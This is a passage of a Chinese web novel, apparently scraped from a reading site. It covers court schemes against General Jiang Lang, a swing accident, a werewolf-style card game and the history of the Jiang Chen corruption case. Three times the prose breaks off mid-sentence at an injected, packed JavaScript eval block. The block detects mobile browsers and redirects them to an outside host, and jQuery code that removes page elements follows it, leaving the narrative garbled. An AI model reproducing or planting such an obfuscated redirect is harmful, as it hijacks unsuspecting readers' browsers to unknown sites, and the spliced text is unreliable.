“重新活一次,变得比以往更加在乎这条小命,所以在张昌和范洪明眼前卑躬屈膝,言听计从,避免惹怒他们,求个安稳度日。” 江琅宽慰柴存,“先生何至担忧于此,你是皇上特赦的人,他们轻易不会动你。再者,你的能力能够带来政绩,这恰是他们所需要的。” 他与柴存一齐走过游廊拐角,继续道,“听闻先生的赋税新策进展顺利,采用田产作为标准累计税收,避免富人漏税,也避免穷人重复缴税,一举两得。原本垫底的晋西道,如今税额都快赶上吴苏道了吧?全凭先生规划有方。” 柴存笑道,“将军真是折煞我了,不过小打小闹罢了,上不了台面。” 他们走下了两级石阶。月光披洒,冬青树变为一片细碎的银白。 柴存感慨,“人总是有贪欲的。之前为写赋税新策,差人替我跑了几十趟田地,量田产统数据,想来这法子其实也能顺利。只是呐——” 他抬头,仰望弯月与满天繁星,“在这灵泉坊待得久了,真想跨出门走一走,亲自去那田地之间看上一眼。” 江琅停下脚步,看向柴存,“先生清楚,这也并非不可能。” 柴存低下了头,清嗓,有意克制了音量,“张昌与三皇子左琮霖私通的证据,现已基本备齐。” 江琅迈步,继续往前走,走在冬青树旁,“张达作为都御史,向来是受世人仰慕的正直英雄。他为官一向清廉,严于律己,也严于律众人,偏偏唯独漏掉了自己的儿子。” 柴存拂走了落在袖袍上的树叶,“他肯定想不到,自己的儿子张昌竟和三皇子私交甚笃,甚至在三皇子伏法三年后,张昌也要想尽一切办法替三皇子报仇。” 三皇子是被江琅杀的,张昌所要报仇的对象,正是江琅。 江琅步入了四脚亭内,“他太着急了,沉不住气,急于对我发动攻击,反而暴露了自身。” 柴存揣测,“这对我们而言,便是最好的时机,兴许也是唯一的时机。” 江琅思索着,向柴存低声道,“先生,这段时间,就有劳你了。” 亭中灯盏轻晃,烛火随风舞蹈。他们在这头沉稳交谈,庭院另一头,一行人热闹嬉戏,自在欢快。 他们在荡秋千玩,轮换着来。之前是任月语在玩,随后是素雅,素雅下来之后,孙一堂争着要去坐,还没迈步,被孟昭启抓着后领揪了回来。 孟昭启骂道,“轮得到你吗?你就坐。” 孙一堂反驳,“怎么就轮不到……” 孟昭启不让他把话说完,挡在他面前,霸占了秋千,专为云霁准备好。 他面对云霁,声音温柔了好些,“云医官,你来坐。” 任月语和素雅嗅到了暧昧的味道,默契地对视一眼。 云霁略显腼腆,娴静地坐上秋千。 孟昭启站在一旁,替云霁推秋千。起先是温柔和谐,一上一下,极具规律。随后孟昭启动了小心思,开始加大力度,让云霁在更高空翱翔。 云霁有些害怕了,“你轻点!” 孟昭启不肯放松,“别害怕,有我在呢。” 任月语在一旁看好戏看得入迷,兴奋时还会拽着素雅的袖子蹦两下。 江琅遥遥看见任月语开心的模样,一蹦一跳像只兔子,裙摆随晚风吹拂,月色染上一层柠黄的光,渲染出一幅天宫之景。 他似乎也沉浸其中了。 柴存笑道,“没想到夫人玩得还挺开心。” 江琅才终于回神,“好不容易能放松,让她玩得尽兴些。” 他们往书房走,接续着再聊了一阵朝堂之事。沸腾的虫鸣逐渐熄灭,时候已晚,万物归于寂静之中。 良久,江琅从书房出来,见任月语独自在庭院内,悠闲地荡着秋千。 江琅走了过去,站在秋千旁,“还没玩够?” 任月语握着秋千索,“随便玩玩。” 江琅以为任月语没能玩尽兴,“那我来推你。” 江琅将手轻放在任月语的背上,学着方才孟昭启的模样,开始替任月语荡秋千,让秋千有一个更大的晃动幅度。 裙摆随风吹拂,如柳条般婀娜。听见任月语零星的笑声,以及被风吞噬的玩笑话,“这哪是秋千,这是海盗船吧。” 江琅没听清,误认为任月语是嫌秋千高度不够,“还要再高一点?” 他之前只用了两成力,如今为了满足任月语的愿望,他再添一成,让秋千荡去更高空。 秋千前后大幅度摇摆,强劲有力地划破夜空。 那对任月语而言,是真的高空,她有些害怕,“不是……停……” 她倒有些后悔。她之前说的海盗船的话,纯属开玩笑,她哪想得到江琅这个钢铁直男,竟真能把秋千荡成了海盗船,她想停却停不下来。 一种难以控制的悬空失重感。 她好几次开口说话,“停下……”只是嘴刚张开,一股风径直灌进嘴里,把她的话给塞了回去。她害怕得缩着身子。她实在想要将一切停下。在失重紧张的状态下,她产生了一瞬间的冲动,在秋千前行至最低点时,她敏捷跳下,被惯性带着往前又飞了一段距离。 整个人不可避免地趴到了地上。 江琅急忙赶到了任月语身旁,“小语,没事吧?” 任月语赌气,不肯接受江琅的搀扶,兀自爬了起来。江琅不愿松手,小心翼翼扶着任月语绕过秋千,坐到了石桌旁,转身去拿了一些膏药,折返回到任月语身边。 两个人,面对面坐着。 江琅拿出手帕,替任月语擦拭破皮的手肘。手肘青了两大块,破皮破了一大片,血丝点点密布在手肘上。江琅怕任月语会疼,轻轻吹拂着伤口,每个动作都充满了谨慎。 任月语怒气未消,一双眼睛瞪着江琅,眼眶里蓄满了眼泪。她埋怨道,“我都说了停了,连说了好几次,你还用那么大的力气。你们当兵的怎么力气都那么大?” 江琅解释,“我没听见,我以为……你喜欢高一点的。” 他之前看孟昭启推云霁,推得那样高,任月语在旁边又看得那样高兴,他还以为任月语喜欢的是高空秋千。 他替任月语擦药膏,用极轻细微的力道,“其实……不管荡得再高,我都会护你周全,倘若 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15195701|165647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是你忽然跳下……” 任月语责骂,“你的意思是怪我咯?” 她说着,两滴眼泪掉下来,接续又再掉下两滴。她本生得肌肤雪白,此刻脸颊涨红,眼睑下部和鼻翼上方都带上了一团红晕,像个隐约看得见馅的红豆糯米团子,无辜可怜,江琅看了心软。 他用衣袖替她擦眼泪,“怪我,怪我,小语对不起。” 任月语仍瞪着江琅,一双眼睛水灵湿润。 江琅柔和擦遍了膏药,吹拂伤口,吹散痛感,“还疼不疼?” 任月语不留情面地回答,“疼。” 就这样重摔在平地上,不疼才怪。 江琅不知道该怎么哄,“要不你也打我一下,出出气?” 任月语毫不客气地拽过江琅的手臂,狠命咬了一口,用的是她的最大力气。 等到发泄完后,她反问江琅,“痛吗?” 江琅摇头,“不痛。” 任月语皱紧了眉头。她花了那么大的力气报仇,他竟然只是轻描淡写地说一声不痛? 江琅惊觉说错了话,但又不知哪里说错了,情急之下改口,“痛,真的挺痛的。” 任月语的眉头皱得更紧了。她咬他只是想发泄而已,没想过要真正伤害他,他竟然说真的挺痛? 江琅这下有些懵,不知道到底该回答痛还是不痛,更想不出除了痛与不痛之外的答案。庆幸素雅这时候赶来,闯进了微妙的氛围里。 素雅端了一碗混沌,“夫人,夜宵煮好啦……” 她声音越说越小,逐渐察觉了气氛的异常。江琅示意她放下餐盘,她偷偷观察两人的表情,识趣地闭口不谈,默默退出离开了现场。 江琅端起碗,用汤勺搅拌,舀起一只混沌,细心吹凉,递给任月语,“生气是小事,吃饱才是大事。” 任月语确实饿了,保持瞪江琅的姿势不变,张嘴咬下那只混沌。 江琅宽慰,感觉事情进展顺利,遂多喂了几只混沌,再换做筷子夹起一叶青菜,喂给任月语。 任月语上半张脸愤懑不平,下半张脸津津有味,从根部开始将青菜一点一点往嘴里送,菜叶随双唇抖动,像极了兔子进食。 江琅看得有趣,多喂了几叶青菜和几只混沌,再喂了一口汤。 任月语喝了最后一勺汤,已有八分饱。她抿唇,抿掉些许汤汁,稍向后仰头,“吃饱了,走了。” 她走得潇洒,头也不回地踏进了房间,徒留满地皎洁月光,伴随星辉之景,映衬出江琅独身一人的影子。 间隔些许时候,任月语正准备睡觉时,意外响起了敲门声。 她打开了门,见江琅正站在门外,怀里抱着一袋剥好的碧根果。 江琅先开口,“我来是想跟你说一声,晚安。” 任月语礼貌回应了一句,“晚安。” 她说罢关上了门,结束了这场短暂的对话。 江琅正欲再敲门,几乎就在一瞬间,任月语又将门打开,轻巧地取走了江琅怀里的纸袋,“谢谢。” 她再一次关上了门,留下江琅独自面对紧闭的门扉。江琅低头浅笑了一下,意图猜测任月语的心思。 看样子是不生气了。如果还生气的话,他就再给她剥一袋碧根果。 *** 那夜相安无事,接下来的几日,也都风平浪静。 直至十日后,柴存终于带来了朝中的消息。 张昌进宫,亲自向皇上递上奏本,参劾江琅。 15. 狼人 柴存找到江琅时,江琅正与其余人一道,围坐在四角亭里。 他本想细说情况,见人稍多,一时住了口。 江琅邀请柴存坐下,宽慰道,“无碍,但说无妨。” 柴存坐在了江琅身边。江琅亲自为柴存沏了一杯茶,柴存道谢,喝上一口茶,厘清思绪。 参劾一事,还得从十日前说起。 最先参劾江琅的,是归雁城外的驿站主事。 他参劾的具体事项是,三年前,江琅率领鹰扬军到达归雁城外,借宿驿站的那一晚,全军上下享乐至极,铺张奢靡,挥霍无度,几近掏空驿站库存,让驿站陷入困顿境地,难以周转。 任月语惊讶,想这主事的反射弧也太长了些,“三年前的事情,当时不出声,现在才参劾呢?” 孟昭启愤怒地锤击桌面,“那小儿简直一派胡言!当年我们路过驿站,不过因为有姜医官同行,才让姜医官及其随从在驿站里借宿了一晚。将军和我们,可都是在林中搭的行军帐篷,吃穿用度可全是用的自带行囊,哪来什么奢靡无度!” 他急于寻求认同,把话题抛给贺懿,“贺伯,你说是吧!” 贺懿是军中管家,收入开支他再清楚不过,“确实,一切用度都有账目记载,翻看行军册便能知晓真相,想要证明清白不是难事。” 江琅有所预料。查清事实,驿站主事所受惩罚,无非杖责三五十。抑或他辩解称受人蛊惑,将责任推给下人,自己便能全身而退。无论怎样看来,驿站主事将付出的代价均很低。 江琅转动茶杯,“凭他实力,能够达到的目的,不是定我罪名,而是制造对我不利的舆论。” 柴存细细道来,“的确,自驿站主事上奏那日起,朝中掀起了参劾将军的风潮。” 参劾江琅的人,他们的参劾极有顺序,从官职较低的官员,一步步演变为官职较高的官员,捋成一条清晰向上的线。 他们参劾的事项,包罗万千,各色各样。有的说江琅钱财花销过大,毫不克制收敛,去路不明。有的说江琅为官中庸,不思进取,不为朝廷出力,整日浑水摸鱼。有的说江琅喜好女色,屋中有千金姬,最爱钻研房中术,鹰扬府内夜夜笙歌。 孟昭启听得拳头硬,大呵一声,“离谱!” 孟昭启这人,最不能容忍的事情,就是别人欺负江琅。谁敢欺负江琅,他就得跟谁拼命。他怒火中烧,对于朝中大臣强行安在江琅身上的每一条罪状,都能够有理有据地进行反驳。 “花销过大,还不是因为户部兵部不肯按时给我们鹰扬军发足够的军饷?将军拿皇上赏赐的银两,自己的私蓄,全部用于填补军饷空缺,还给将士们买新衣服过好年,这花销能不大吗?这来路不是明明白白的吗?” “什么为官中庸,浑水摸鱼,还不是因为朝廷只给将军一个鹰扬侯的名誉封号,却不给实职?将军以什么身份来出力?是朝廷把将军边缘化的,现在反倒怪将军中庸,岂不也太欺负人了!” “还有什么喜好女色,更是离了大谱!” 他接下来的控诉,是对着任月语说的,“夫人,将军一心保卫家国平定山河,根本不近女色!我跟了他那么久,我最清楚,除了你以外,他再没牵过其他女子的手!” 他这义愤填膺的架势,仿佛上书参劾江琅好女色的人是任月语,他正替江琅讨回公道。任月语内心极度想要纠正孟昭启的措施。 “错了,其实他也没牵过我的手。” 不过任月语最终还是克制住了开口说话的冲动,毕竟现在的氛围不是纠正措辞的时候,况且她在经历孟昭启的一番激烈言辞后,耳朵已经红得不像话了。这种时刻,保持沉默,降低存在感,才是缓解尴尬的最佳办法。 江琅也感觉到了尴尬异常,轻咳一声,示意孟昭启注意言谈。 孙一正站起来,替孟昭启拍背顺气,“大哥,消消气,少说几句。” 孟昭启撇开视线,碎碎念道,“我就是替将军不值。” 将军行得正坐得直,他们捉不住将军的把柄,就想尽办法造谣生事,委实太欺负人。 为保一方安宁,在沙场出生入死的将军,不该被这样对待。 任月语若有所思,双手抱着茶杯,喝了一口,问柴存,“收到这些奏折后,皇上怎么说?” 柴存转述了探子禀报的话,“皇上什么也没说。他把折子全部积压下来了,不发话,不处理。” 任月语想不明白,皇上压着参劾江琅的奏折不处理,是对江琅的偏心,但同时应该也更会激起群臣愤怒吧? 柴存继续转述朝中的情景,“皇上越是压着奏折不处理,群臣就越是要上书参劾将军。其中包括了好些原本中立的人,他们为表正直衷心,加入了参劾浪潮中。昨日张昌进京,参劾浪潮达到了顶峰,他在群臣簇拥下进宫面圣。” 任月语暗自感慨,没想到张昌把这蛾子搞得那么声势浩大,还安排自己压轴出场。 柴存观察众人的神情,小心说道,“张昌参劾的,是将军在晋西道内滥杀平民百姓,共计二十三人。” 孙一正知道孟昭启要爆炸,抢先一步摁住了孟昭启的肩膀。 任月语好奇难耐,询问柴存,“那这次呢?这次皇上还是不表态?” 柴存摇头,“皇上这次表态了,在张昌递上的奏折上,批了三个字,知道了。” 任月语更糊涂了,没想到皇上又是这种朱批。她之前听孟昭启说过,江琅率鹰扬军收复归雁城,创造归雁神话,凯旋而归时,皇上批复的也是这三个字,知道了。 有功批知道了,有罪还是批知道了,这莫非是皇上的口头禅? 任月语百思不得其解,转头问云霁,“知道了到底是什么意思?” 云霁靠近任月语耳边解释,“意思是皇上对奏本的内容其实并未接受,但也不便对呈上奏本的人给予斥责。”* 任月语听完,逐渐弄清了小皇帝对江琅的态度。有功不赏,有罪不罚。小皇帝其实想要重用江琅共治天下,同时又要防住江琅谋权篡位,处于一种矛盾的状态,还未能够寻求平衡。 那边柴存也正凑在江琅耳旁说着什么。单从江琅神情上看不出什么波澜,单见他偶尔会侧头回应柴存。两人应是说定了什么事项,最后柴存起身,告别离开。 待到柴存离去,江琅回头,发现桌边的几双眼睛正认真盯着他,充满求知欲望。他笑了一下,明白他们是想知道之后的行动计划。 他解释,“张昌出手还不够,要等他的父亲,监察院都御史张达出手,我们的反击才能获得最大效益。” 众人这才心满意足,长舒一口气,心情也变得轻松。 江琅转换话题,问任月语,“你刚才不是说要玩游戏么?是什么游戏?” 任月语摸出了自制的卡牌,一脸神秘,“狼人杀。” 毕竟整日关在这个院子里,再不想点好玩的事情,任月语就要宅出霉了。 她向他们简单说明了狼人杀的玩法。为了入乡随俗,她把涉及的角色名称全部换成了他们朝内的官职。 众人听得专心致志,被任月语吊起了胃口,摩肩擦踵,跃跃欲试。 任月语打乱了卡牌,倒扣在桌面中央,准备就绪,开始了游戏。 她第一把运气不好,抽到了平民,根本没有发挥的空间,只能任人宰割。 果然,天黑以后,她被杀手杀了。 第二把开始之前,任月语在心里祈祷了许久,希望转运。这次运去好些,她抽到了厂卫,可以抓捕犯人。 她暗喜,心想这次就可以大展身手了。 然而无奈的是,还没轮到她出场,在第一次天黑的时候,她又被杀手杀了。 怎么这么倒霉。 第三把,任月语用了更虔诚的态度来祈祷,期望能抽取到一张好牌。这一次,功夫不负有心人,她终于抽到了杀手。 杀手总不会遭殃了吧? 任月语兴致勃勃,满怀期待,就等着听云霁这位大理寺卿的口令。 “杀手请睁眼。” 任月语麻利地睁开眼睛,看见了同样睁着眼睛的江琅。游戏里一共设置了两名杀手,如此看来,这一局的杀手搭档是任月语和江琅。 任月语兴奋不已,冲江琅挤眉弄眼,用眼神询问江琅,该杀谁才好。她已经有好几个挑中的人选了,孟昭启、孙一堂、吴冲毅,这三看起来呆头呆脑,都可以当倒霉蛋。 结果江琅抬起手来,轻描淡写地指了一下任月语。 他要杀的人竟然是任月语。 任月语自己竟然就是那个倒霉蛋。 因为怕暴露身份,任月语不敢开口说话,只能用唇语加手势质问江琅,“你杀我干嘛?我们是一起的!” 没等到江琅的回话,云霁作为大理寺卿,敬业地继续推动游戏进程,“杀手请闭眼。” 任月语无奈闭上了眼睛。她心存幻想,以为这是江琅特意制造的新套路。她以前和朋友玩游戏,也遇见过这种情况,杀手杀掉杀手,主动牺牲一个人,保全另一个人,以此获得游戏的最终胜利。 她自我安慰,即便江琅选择了牺牲掉她的这一步险棋,也没关系,只要能够最终获胜就行。 那局游戏玩到最后,在江琅的精心布局下,他们获胜了,但任月语却没有想象当中那样高兴。 再次新开一局游戏,任月语祈祷万千,终于得偿所愿,抽取到了大理寺卿。 她信心满满,这次作为判官,总不能再受干扰了吧?总能够完整地参与整局游戏了吧? 她拿捏着大理寺卿的派头,郑重开启游戏,“杀手请睁眼。” 这次睁眼的人,除了云霁,还有不变的江琅。 任月语心里咯噔一下。 不出所料,江琅举起手来,指向了任月 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15195702|165647||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 语。 任月语咬紧牙关,忍无可忍,顾不上大理寺卿身份的稳重,质问江琅,“你杀我干什么?我是大理寺卿!” 众人闻声,睁开眼睛,看着对峙的两人。 江琅好奇,轻声问道,“大理寺卿不能杀吗?” 他竟然能表现得这么理直气壮! 任月语急得跺脚,“不能!杀了我还怎么判案?” 江琅坦然自若地追问,“这案只能由大理寺卿判吗?” 任月语摊手,“不然呢?” 众人听着这段怪异的对话,看着神态截然不同的两人来回拉扯,不禁颔首偷笑。 云霁也暗笑着,略带一些惊讶。她到鹰扬府这么些年月,所见到的将军均是成熟稳重的气质,喜怒不形于色,无愧于大将之风。没想到今日倒是意外发现,将军原来还有如此幼稚的一面,不停捉弄夫人,逗夫人玩,并且乐在其中。 可惜被捉弄的任月语不仅乐不起来,甚至火冒三丈。她算是明白了,她之前还天真地以为,江琅的所作所为一定有他的道理,有什么她看不懂的高深的策略,结果到头来才发现,哪有什么高深的道理,他就是单纯地想要杀她玩! 看来前几次她被杀,全都是江琅干的好事! 任月语怒火中烧,提高音量责骂江琅,“你不懂游戏规则!你根本就不会玩!你不要玩了!” 话骂出口,所有人被吓得噤若寒蝉,不敢轻易动弹,提着一颗心。 那可是鹰扬将军呐。在场的人,除了任月语外,还有谁敢对将军这般大呼小叫? 任月语在一片静默之中,惊觉方才确乎出口不敬了。她楞在原地,不知该如何化解这一层冰,想要开口,又怕言多必失,错上加错。 冷气在四周浮游了一刻。 几双眼睛整齐偷瞄江琅,等待着江琅的反应。 江琅却并无任何异样反应,只是垂下眼睑,顺从地应了一声,“噢。” 任月语恍惚。她竟然从骁勇善战的将军身上,隐约看见了一丝一毫的委屈。 兴许是看错了。任月语平复着心绪。但终究有些愧疚和不忍心。 江琅站了起来,准备听话离开。 任月语动作敏捷,在江琅路过身边时,快速地捉住了他的手腕,“那……那你可不可以在旁边陪我……们玩?” 江琅看了眼手腕处,笑了一下,应道,“好。” 任月语松开了手,暗自松一口气。 孙一正见机行事,麻利地替江琅端来了凳子。江琅为了避免影响其他人玩游戏,没有挨着桌边坐,而是稍微靠后了一些,就在任月语的斜方身后。 他像是她的守护者。 往后游戏开局,他和她保持着同步的节奏。她抽取卡牌,他同她一道确认卡牌身份。听令闭眼,他和她一齐闭上眼睛。听令睁眼,他和她一齐睁开眼睛。 一大一小,一前一后,如影相随。 云霁在一旁目睹这一切,有种奇妙的感觉,任月语仍旧是公主,江琅却成为了守护任月语的野狼。 他会暗自替她分析谁是杀手,或者分析该杀掉谁才能救人,抑或分析该把矛头转移到谁身上才能自保,获取胜利。 他们之间全靠眼神交流。起初几下还稍显磕磕绊绊,磨合几次之后,他只用抬一下眼眸,她便能心领神会,做出正确的抉择。 配合默契,所向披靡。 因为任月语胜利的次数实在太多了,孟昭启输得一塌糊涂,于是不免产生了怀疑,质问道,“将军,你是不是替夫人作弊了?” 任月语反驳,“哪有?别乱说,不信你问云霁!” 孟昭启满眼期待地看向了大理寺卿云霁。 云霁抿着双唇,摇了摇头。 任月语神气得意,朝孟昭启微仰下巴。 云霁侧头浅笑。她没有拆穿江琅与任月语的小把戏,更没有拆穿江琅不同以往的心思。 江琅哪里是不会玩游戏,他分明是太会玩游戏了。久经沙场,熟悉战术,周旋朝堂,深谙谋略,他们的将军从一开始就占据了绝对的上风,仅凭一个下意识的动作、一个不被轻易察觉的微表情,就能准确判断出在场所有人的身份。 他甚至能从倒扣的牌面中,看出每张卡牌之间的细微区别,所以才能次次有意抽中杀手牌,以此获得契机,故意去逗夫人玩。 倒是难得贪玩。 *** 一行人玩狼人杀上了瘾,其中孟昭启尤甚,因为他输得太多,不甘心,总想赢回来。 他们连着玩了好些天,自是惬意潇洒。而这种安宁被打破,则是柴存那边又一次带来了朝堂中的消息。 正如所预料的那样,张达出手了。 都御史张达,上书参劾鹰扬侯江琅。 与此同时,梅季远也出手了。 内阁首辅梅季远,上书参劾晋西道监察御史张昌。 16. 书房 任月语端着点心去找江琅的时候,江琅正在书房里与柴存议事。她不便打扰,打算在门外耐心等候。 她原本坐在最下层石阶上,拖着脑袋,百无聊赖。偶尔回头时,看见书房里人影晃动,相谈甚欢。那是江琅的身影。她总想要离江琅更近一些,壮着胆子,往上挪了一级,歇一阵,又挪了一级。 直到挪到了最上层的石阶上,与书房仅一墙之隔。 柴存从书架暗隔里,拿出了尘封已久的木匣,里面装的全是张昌与三皇子左琮霖私通的证据。 “耗时多年,韬光养晦,终于等到了最合适的时机。”柴存将木匣放在桌案上,推到江琅身前,“话说回来,将军的预测果真准确,在参劾初期,皇上果然压了一阵。” 江琅看着满目繁多的物证,叹道,“其实,我也是赌了一把。” 张昌率众官参劾江琅,皇上若是不压,顺应参劾启动对江琅的调查,那这具体的调查任务势必会落在张昌手中,届时,众官安在江琅身上的莫须有的罪名,必定会被张昌做实,江琅难逃一劫。 幸而皇上力排众议压下了这阵浩大的声势,熬到张达与梅季远同时出手,两股力量形成对峙,达到均衡,调查一事才不至于会被人暗中做手脚。 而皇上此般顶住压力力排众议,可能出自对江琅一贯的袒护,也可能出自其他原因。 江琅的指节在案桌上轻敲了一下,“或许……皇上也想借此机会,达到某一些目的。” 柴存附和了一句,“圣上也是心思缜密之人。” 柴存眼波微动,无意暴露了心底的担忧。这一次反击得以顺利推进,得益于张昌着急冒进,而江琅将计就计,以退为进来谋划布局。柴存所做的,无非是按照江琅的建议行事,并从中灵活变通。 可往后呢?往后再涉派系斗争,他该如何从中自处? 比起其它大臣来,他着实没有这方面的天赋。他一个不停栽跟头的小年轻,哪里有本事在老谋深算的群臣之中顺利周旋。 若是江琅在,那便再好不过。柴存信任江琅,跟随江琅也有一种安全感。偏偏江琅不同他一道回朝,不愿做抛头露面之事,让他没了个依靠。 他也不想烦扰,可这烦扰自己要找上门来,让他不得不忧心忡忡。 天知道,他寒窗苦读,入仕为官,心中所想,真真只有田律呐!想要单纯搞好田律,如何这么难! 他垂着头,暗自轻叹一声。 江琅看出了柴存的低落,明白柴存所愁之事,宽慰道,“先生不必担忧。入京之后,先生只管投靠于老师门下,其余的事情,先生不用费心,老师自会安排妥当。” 柴存知道,江琅所说的老师是指内阁首辅梅季远,“梅大人……久仰大名。” 江琅撩起袖袍,端上茶壶,为柴存斟满一杯清茶,“先生既已听过老师的名号,想必肯定也了解,老师素来最喜人才。” 柴存双手接过茶杯,“承蒙将军抬爱。” 江琅摆正茶壶,让茶壶回归原位,“况且,老师那边,早已知晓你我之间的联系,所以你此趟去找老师,并不唐突。” 熏香袅袅,淡雅香气萦绕四周,叫人安心。 柴存听了江琅的话,放下了最后一点忧虑,笑道,“许是我在灵泉坊待得太久了些,习惯了足不出户的状态。如今蓦然要出远门,总有一点忐忑不安,杞人忧天了。” 江琅能够理解柴存的感受,“人之常情,在所难免。” 柴存喝了一口茶,提起精神,“将军,听闻昭武九姓已到驿站?” “嗯。” 江琅从怀中拿出了一枚蛇珠。这与其他蛇珠不同,其乳白色珠面上染了一道胭脂红的朦胧条纹。 他将蛇珠交予柴存,“明日你到驿站后,找寻一位安姓萨保,只需亮明此信物,他便知晓一切。” 柴存抚摸着蛇珠光滑的珠面,“这位安萨保,可是将军的故交?” 江琅解释,“算是,鄯州之役时,我曾无意救过他。” 江琅救过安萨保不止一次。 当初鄯州届内战火燎原,危机重重,安萨保在经商途上,意外卷入了战争之中。索性得到江琅的慷慨相救,安萨保才得意一而再再而三地保全性命。 他把江琅视为恩人。 从那之后,每次行商至景朝时,安萨保总会给江琅带去诸多奇珍异宝。江琅从不肯收贵重物品,只肯取一些无伤大雅的小物件,算是对安萨保一片心意的回应。 这颗蛇珠便是当时江琅随意挑中的小物件。时至今日,蛇珠竟成为了他与安萨保之间验明身份的信物。 柴存收好了蛇珠,将蛇珠放入了胸前衣襟内。 江琅向柴存行了一个礼,“壹引其纲,万目皆张。柴大人,撼动张氏父子一事,就拜托你了。”* 柴存回礼,“将军客气。” 柴存放下手,思虑良久,又重新抬起手,从衣襟内掏出了一封信件,端端正正放在了案桌上。 他郑重地告诉江琅,“将军,这是我偶然间得到的,当年太子与三皇子密谋诬陷江琛大人的密信。” 江琅愣住了,盯着那密信出神,却没有更进一步的动作。 柴存生怕江琅犹豫不决,立即劝诫,“将军,这是为江琛大人乃至江府一族翻案的最佳机会。” 江琅蹙紧眉心,呼吸稍显沉重。 柴存趁势加大了劝诫的力度,“江琛贪污案本就是朝堂内的禁忌话题,平白无事时,绝不会轻易提及此事,更别说翻案昭雪。可此时不同,此时有了太子和三皇子的旧案在前开了口,顺势而为翻出江琛一案,定能轻而易举地为江琛大人沉冤昭雪。” 柴存所说的每一个字,精准无误地砸进江琅心底。江琅极力保持理智,舒展眉头,拿过密信,将密信放入胸前衣襟里,平淡答复,“此事再议。” 柴存不愿放弃,“将军……” 江琅打断了柴存的话,“我心意已决,柴大人不用再多费口舌了。” 柴存泄了气。他早预料过可能会得到这样的结果,面对努力争取却仍无法改变的结局,他只能瓮声瓮气应答,“是。” 烛火明亮,映着桌旁插花的影子,在地面上勾勒成一副精致的水墨画。 *** 结束议事后,江琅走出书房,发现任月语正坐在石阶上,脸颊埋进臂弯里,已经睡着了,乖巧安静。 江琅蹲到了任月语身旁,轻轻拍抚任月语的肩膀,“小语,你怎么在这里睡着了?容易着凉的。” 任月语抬起头来,睡眼惺忪,脸颊微红。她揉了下眼睛,咕哝道,“你忙完了?” “嗯。”江琅问道,“你找我?” 任月语端起了身侧的小餐盘,“本来是想给你送点心的,结果之前没忍住,给吃光了。” 她干笑了两声,站起来,“我再去给你拿一点过来。” 江琅制止了她,“不用,我不饿。早些休息吧,我送你回房间。” 他替任月语拿着小餐盘,送任月语回到房间,互道一声晚安后,告别离开。 庭院寂静,一片绿叶飘落到院角小池塘上,遮掩了月光。 *** 柴存也回了房间,洗漱整理,熄灭烛火,宽衣解带。带子解到一半,忽然响起一阵敲门声,敲三下,歇一下,再敲三下。柴存慌忙把腰带重新束好,赶去开门。 任月语正站在门外。 柴存拱手作揖,“夫人,这么晚来,是为何事?” 任月语开门见山,询问柴存,“江琛贪污案,真相到底是什么?” 柴存敏锐,为避免惹出不必要的动静,他侧身站到一旁,“夫人若不嫌弃,还请进屋详谈。” 任月语没有犹豫,踏进了屋内。柴存点了烛火,新泡了一壶茶,邀任月语坐到案旁。 任月语握着茶杯,大胆猜测,“江琛大人,是被太子和三皇子合谋诬陷的吗?” 柴存惊讶,不曾料到任月语会有这般直白言论。他方才看见任月语坐在书房门口睡觉,安静香甜,没想到她原来是在装睡。 柴存也免去寒暄客套,坦白道,“正如夫人料想的那样,太子与三皇子合谋,布局构陷江琛大人。” 任月语断断续续听说过当年的事情,大致明白派系结构,“可太子和三皇子不是死对头么?” 柴存用了一句简单的话来解释,“敌人的敌人就是朋友。” 江琛手里掌握着兵权,无论是哪方派系,都想把江琛招入麾下。偏偏江琛性子烈,不畏强权,不求钱财,不求官 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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任月语听闻过坎门屠案的情景。死无全尸,暗血成河,腥气漫天,群鸦悲鸣。印刻于坎门的至暗时刻。 有时候,任月语会庆幸江琅没有在现场,不曾经历族人被屠的惨状。有时候,任月语又会替江琅感到遗憾,世事无常,风云变幻,他竟没能见到家人最后一面。 “坎门屠案那一夜,平京城内人心惶惶,混乱不堪。传言四起,一说封地诸王皆为江琛鸣不平,意欲起兵。一说文臣哀叹皇帝听信谗言不走程序大开杀戒,世道炎凉失望心寒,意欲罢官辞退。形势逐渐演变至濒临失控。” 任月语顺着柴存的叙述弄清原委,“所以先帝在激起公愤的情况下,若是执意再动江琅,势必会点燃最后一根引线,爆发诸王造反、群臣罢官的场面。” 柴存点头,“嗯,对先帝而言,江琅万万动不得。” 这便是“株连九族徒留一人”的缘由。 任月语恍然大悟,怪不得曾经无惧生死的骁勇将军如今这样贪生怕死,被人侮辱针对,受尽委屈,宁做中庸之人缩头乌龟也要执着于活着这件事。 因为他的命,是江府上百族人的命换来的。 他只有留一口气活着,才对得起于坎门陨落的族人亡灵。 